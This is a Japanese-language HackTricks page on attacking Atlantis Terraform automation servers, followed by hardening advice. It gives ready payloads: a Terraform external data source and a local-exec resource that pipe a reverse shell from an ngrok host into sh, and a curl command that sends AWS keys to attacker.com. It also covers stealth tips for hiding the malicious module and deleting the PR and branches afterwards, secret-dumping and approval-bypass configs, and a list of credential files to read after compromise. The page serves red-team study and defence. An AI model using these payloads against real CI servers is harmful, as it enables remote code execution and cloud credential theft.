Atlantis Security

Reading time: 28 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Atlantisは基本的に、あなたのgitサーバーからのプルリクエストからterraformを実行するのを助けます。

ローカルラボ

  1. https://github.com/runatlantis/atlantis/releasesatlantisリリースページに行き、あなたに合ったものをダウンロードします。
  2. githubユーザーのパーソナルトークン(リポジトリアクセス付き)を作成します。
  3. ./atlantis testdriveを実行すると、atlantisと対話するために使用できるデモリポジトリが作成されます。
  4. 127.0.0.1:4141でウェブページにアクセスできます。

Atlantisアクセス

Gitサーバーの資格情報

AtlantisGithubGitlabBitbucketAzure DevOpsなどの複数のgitホストをサポートしています。
ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの特権アクセスが付与される必要があります(少なくとも書き込み権限)。
ドキュメントでは、Atlantis専用のユーザーをこれらのプラットフォームで作成することを推奨していますが、一部の人は個人アカウントを使用するかもしれません。

warning

いずれにせよ、攻撃者の視点から見ると、Atlantisアカウントは非常に興味深い****攻撃対象となるでしょう。

Webhook

AtlantisはオプションでWebhookシークレットを使用して、Gitホストから受信するwebhook正当であることを検証します。

これを確認する方法の一つは、GitホストのIPからのみリクエストを許可することですが、より簡単な方法はWebhookシークレットを使用することです。

プライベートなgithubやbitbucketサーバーを使用しない限り、webhookエンドポイントをインターネットに公開する必要があることに注意してください。

warning

Atlantisはwebhookを公開するため、gitサーバーが情報を送信できるようにします。攻撃者の視点からは、メッセージを送信できるかどうかを知ることが興味深いでしょう。

プロバイダー資格情報

ドキュメントから:

Atlantisは、サーバーAtlantisがホストされている上でterraform planおよびapplyコマンドを単純に実行することによってTerraformを実行します。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーの資格情報が必要です。

Atlantisに特定のプロバイダーの資格情報を提供する方法はあなた次第です:

  • AtlantisのHelm ChartAWS Fargate Moduleには、プロバイダー資格情報のための独自のメカニズムがあります。ドキュメントを読んでください。
  • クラウドでAtlantisを実行している場合、多くのクラウドには、実行中のアプリケーションにクラウドAPIアクセスを提供する方法があります。例:
  • AWS EC2 Roles("EC2 Role"を検索)
  • GCEインスタンスサービスアカウント
  • 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例:AWS_ACCESS_KEY
  • 他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例:~/.aws/credentials
  • HashiCorp Vault Providerを使用してプロバイダー資格情報を取得します。

warning

Atlantisが実行されているコンテナには、AtlantisがTerraformを介して管理しているプロバイダー(AWS、GCP、Githubなど)への特権資格情報が含まれている可能性が非常に高いです。

ウェブページ

デフォルトでは、Atlantisはlocalhostのポート4141でウェブページを実行します。このページでは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することができます(変更を加えることはできないため、それほど便利ではありません)。

インターネットに公開されていることはないと思いますが、デフォルトではアクセスするために資格情報は必要ないようです(必要な場合はatlantis:atlantisデフォルトのものです)。

サーバー構成

atlantis serverの構成は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの組み合わせを介して指定できます。

値はこの順序で選択されます

  1. フラグ
  2. 環境変数
  3. 設定ファイル

warning

構成の中には、トークンやパスワードなどの興味深い値が含まれている可能性があることに注意してください。

リポジトリ構成

いくつかの構成はリポジトリの管理方法に影響を与えます。ただし、各リポジトリが異なる設定を必要とする可能性があるため、各リポジトリを指定する方法があります。これが優先順位です:

  1. リポジトリ/atlantis.ymlファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーはフラグなしではここに指定できません。
  2. おそらくallowed_overridesallow_custom_workflowsのようなフラグによって許可される必要があります。
  3. サーバーサイド構成:フラグ--repo-configで渡すことができ、各リポジトリの新しい設定を構成するyamlです(正規表現がサポートされています)。
  4. デフォルトの値

PR保護

Atlantisは、PRが他の誰かによって**承認されることを望むかどうか(ブランチ保護に設定されていなくても)および/またはマージ可能(ブランチ保護が通過した)であることを示すことを許可しますapplyを実行する前に**。セキュリティの観点から、両方のオプションを設定することが推奨されます。

allowed_overridesがTrueの場合、これらの設定は各プロジェクトの/atlantis.ymlファイルで上書きできます

スクリプト

リポジトリ構成は、ワークフローが実行される前に実行するスクリプトプレワークフローフック)と実行した後にポストワークフローフック)を指定できます。

リポジトリの/atlantis.ymlファイルでこれらのスクリプトを指定するオプションはありません。

ワークフロー

リポジトリ構成(サーバーサイド構成)では、新しいデフォルトワークフローを指定したり、新しいカスタムワークフローを作成することができます。また、どのリポジトリが生成された新しいものにアクセスできるかを指定することもできます。
その後、各リポジトリの
atlantis.yamlファイルが使用するワークフローを指定する**ことを許可できます。

caution

サーバーサイド構成フラグallow_custom_workflowsTrueに設定されている場合、ワークフローは各リポジトリの**atlantis.yamlファイルで指定できます**。また、allowed_overridesworkflowを指定して、使用されるワークフローを上書きする必要がある可能性もあります。
これは基本的に、そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与えることになります。

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftestポリシーチェック

Atlantisは、サーバーサイドconftestポリシーをプラン出力に対して実行することをサポートしています。このステップを使用する一般的なユースケースには以下が含まれます:

  • モジュールのリストの使用を拒否する
  • リソースの作成時に属性を主張する
  • 意図しないリソース削除をキャッチする
  • セキュリティリスクを防ぐ(例:安全なポートを公開すること)

ドキュメントで設定方法を確認できます。

Atlantisコマンド

ドキュメントには、Atlantisを実行するために使用できるオプションが記載されています:

bash
# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

攻撃

warning

もし攻撃中にこのエラーが表示された場合: Error: Error acquiring the state lock

次のコマンドを実行することで修正できます:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - 新しいPRでの設定変更

リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。atlantis planを実行できる場合(または自動的に実行されるかもしれません)、Atlantisサーバー内でRCEを実行できるようになります

これは、Atlantisに外部データソースを読み込ませることで実現できます。次のようなペイロードをmain.tfファイルに入れるだけです:

json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

ステルス攻撃

この攻撃をよりステルス的に実行するには、次の提案に従ってください:

  • rev shellをterraformファイルに直接追加する代わりに、rev shellを含む外部リソースを読み込むことができます:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules で rev shell コードを見つけることができます。

  • 外部リソースでは、ref 機能を使用して、リポジトリ内の ブランチにある terraform rev shell コード を隠します。例えば、git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b のようにします。
  • マスターへの PR を作成する代わりに2つのブランチ(test1 と test2)を作成し、一方からもう一方への PR を作成します。攻撃が完了したら、PR とブランチを削除します

Atlantis プラン シークレット ダンプ

atlantis planterraform plan)を実行することで、terraform に使用されるシークレットをダンプできます。terraform ファイルにこのようなものを入れます:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - 新しいPRでの設定変更

リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。atlantis applyを実行できる場合、Atlantisサーバー内でRCEが可能になります

ただし、通常はいくつかの保護を回避する必要があります:

  • マージ可能: この保護がAtlantisに設定されている場合、PRがマージ可能な場合にのみatlantis applyを実行できます(これはブランチ保護を回避する必要があることを意味します)。
  • 潜在的なブランチ保護の回避を確認してください。
  • 承認済み: この保護がAtlantisに設定されている場合、他のユーザーがPRを承認する必要があります。その後、atlantis applyを実行できます。
  • デフォルトでは、Gitbotトークンを使用してこの保護を回避することができます

悪意のあるTerraformファイルで**terraform applyを実行することができます**local-exec
main.tfファイルに以下のようなペイロードが含まれていることを確認する必要があります:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

前の技術からの提案に従って、この攻撃をよりステルス的な方法で実行します。

Terraform パラメータインジェクション

atlantis plan または atlantis apply を実行すると、terraform が内部で実行されます。atlantis から terraform にコマンドを渡すには、次のようにコメントします:

bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

環境変数を渡すことができ、いくつかの保護を回避するのに役立つかもしれません。Terraformの環境変数についてはhttps://www.terraform.io/cli/config/environment-variablesを確認してください。

カスタムワークフロー

atlantis.yamlファイルに指定された悪意のあるカスタムビルドコマンドを実行します。Atlantisはプルリクエストブランチのatlantis.yamlファイルを使用し、masterのものではありません。
この可能性は前のセクションで言及されました:

caution

サーバーサイド設定フラグallow_custom_workflowsTrueに設定されている場合、各リポジトリの**atlantis.yamlファイルにワークフローを指定できます。また、allowed_overridesワークフローオーバーライドする**ために指定される必要がある可能性もあります。

これは基本的にそのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与えることになります。

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

プラン/適用保護の回避

サーバーサイド設定フラグallowed_overridesapply_requirementsを設定している場合、リポジトリがプラン/適用保護を変更して回避することが可能です。

yaml
repos:
- id: /.*/
apply_requirements: []

PR ハイジャック

誰かがあなたの有効なプルリクエストに atlantis plan/apply コメントを送信すると、望まないときに terraform が実行されます。

さらに、新しいコミットがプッシュされたときに 再評価を求めるように ブランチ保護が設定されていない場合、誰かが terraform 設定に 悪意のある設定を書き込み(前のシナリオを確認)、atlantis plan/apply を実行して RCE を獲得する可能性があります。

これが Github ブランチ保護の 設定です:

Webhook シークレット

もしあなたが使用されている Webhook シークレットを盗むことに成功した場合、または Webhook シークレットが使用されていない場合、あなたは Atlantis Webhook を呼び出し、atlatis コマンドを直接実行することができます。

Bitbucket

Bitbucket Cloud は Webhook シークレットをサポートしていません。これにより、攻撃者が Bitbucket からのリクエストを偽装することが可能になります。Bitbucket の IP のみを許可していることを確認してください。

  • これは、攻撃者Bitbucket から来ているように見える偽のリクエストを Atlantis に送信できることを意味します
  • --repo-allowlist を指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでの plan/apply になります。
  • これを防ぐために、Bitbucket の IP アドレスを許可リストに追加してください(Outbound IPv4 addresses を参照)。

ポストエクスプロイテーション

サーバーへのアクセスを取得した場合、または少なくとも LFI を取得した場合、試して読むべき興味深いものがあります:

  • /home/atlantis/.git-credentials VCS アクセス資格情報を含む
  • /atlantis-data/atlantis.db より多くの情報を含む VCS アクセス資格情報を含む
  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform ステートファイル
  • 例: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
  • /proc/1/environ 環境変数
  • /proc/[2-20]/cmdline atlantis server のコマンドライン(機密データを含む可能性があります)

緩和策

公開リポジトリでの使用は避ける

誰でも公開プルリクエストにコメントできるため、すべてのセキュリティ緩和策が利用可能であっても、適切なセキュリティ設定の構成なしに公開リポジトリで Atlantis を実行することは依然として危険です。

--allow-fork-prs を使用しない

公開リポジトリで実行している場合(推奨されません、上記を参照)、--allow-fork-prs を設定すべきではありません(デフォルトは false)なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。

--repo-allowlist

Atlantis は、--repo-allowlist フラグを介して Webhook を受け入れるリポジトリの許可リストを指定する必要があります。例えば:

  • 特定のリポジトリ: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
  • あなたの組織全体: --repo-allowlist=github.com/runatlantis/*
  • GitHub Enterprise インストール内のすべてのリポジトリ: --repo-allowlist=github.yourcompany.com/*
  • すべてのリポジトリ: --repo-allowlist=*。保護されたネットワーク内にいるときに便利ですが、Webhook シークレットも設定しないと危険です。

このフラグは、あなたの Atlantis インストールがあなたが制御していないリポジトリで使用されていないことを保証します。詳細については atlantis server --help を参照してください。

Terraform プランニングを保護する

攻撃者が悪意のある Terraform コードを含むプルリクエストを提出することが脅威モデルに含まれている場合、terraform apply の承認だけでは不十分であることを認識する必要があります。terraform plan で悪意のあるコードを実行することが可能であり、external データソースを使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。

これを防ぐために、次のことができます:

  1. プロバイダーを Atlantis イメージに組み込むか、ホストして、プロダクションでの出口を拒否します。
  2. プロバイダー レジストリ プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、レジストリへの書き込みアクセスを誰が持っているかを制御できます。
  3. サーバー側リポジトリ構成plan ステップを変更して、許可されていないプロバイダーやデータソース、許可されていないユーザーからの PR の使用を検証します。この時点で追加の検証を追加することもできます。例えば、plan を続行する前に PR に「いいね」を要求することです。Conftest が役立つかもしれません。

Webhook シークレット

Atlantis は、$ATLANTIS_GH_WEBHOOK_SECRET / $ATLANTIS_GITLAB_WEBHOOK_SECRET 環境変数を介して Webhook シークレットを設定して実行する必要があります。--repo-allowlist フラグが設定されていても、Webhook シークレットがない場合、攻撃者は許可リストにあるリポジトリを装って Atlantis にリクエストを送信することができます。Webhook シークレットは、Webhook リクエストが実際にあなたの VCS プロバイダー(GitHub または GitLab)から来ていることを保証します。

Azure DevOps を使用している場合、Webhook シークレットの代わりに基本的なユーザー名とパスワードを追加してください。

Azure DevOps ベーシック認証

Azure DevOps は、すべての Webhook イベントで基本認証ヘッダーを送信することをサポートしています。これには、Webhook の場所に HTTPS URL を使用する必要があります。

SSL/HTTPS

Webhook シークレットを使用しているが、トラフィックが HTTP 上にある場合、Webhook シークレットが盗まれる可能性があります。--ssl-cert-file および --ssl-key-file フラグを使用して SSL/HTTPS を有効にしてください。

Atlantis Web サーバーでの認証を有効にする

Web サービスでの認証を有効にすることを強く推奨します。--web-basic-auth=true を使用して BasicAuth を有効にし、--web-username=yourUsername および --web-password=yourPassword フラグを使用してユーザー名とパスワードを設定します。

これらを環境変数 ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername および ATLANTIS_WEB_PASSWORD=yourPassword として渡すこともできます。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする